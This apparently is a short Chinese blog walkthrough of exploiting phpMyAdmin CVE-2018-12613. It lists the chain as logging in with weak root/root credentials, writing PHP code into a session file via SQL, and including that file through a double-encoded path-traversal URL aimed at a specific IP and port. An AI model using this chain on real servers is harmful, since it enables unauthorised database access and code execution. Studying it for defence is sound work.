phpMyAdmin 漏洞利用汇总:PhpMyAdmin漏洞利用汇总 - 只言 - 博客园
漏洞编号:CVE-2018-12613
背景介绍
phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。
一.弱口令登录
root-root
二.利用sql语句,将php代码写入Session文件中
三.包含Session文件
http://219.153.49.228:44273/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_***
***代表phpmyadmin的cookie的值,f12存储可以看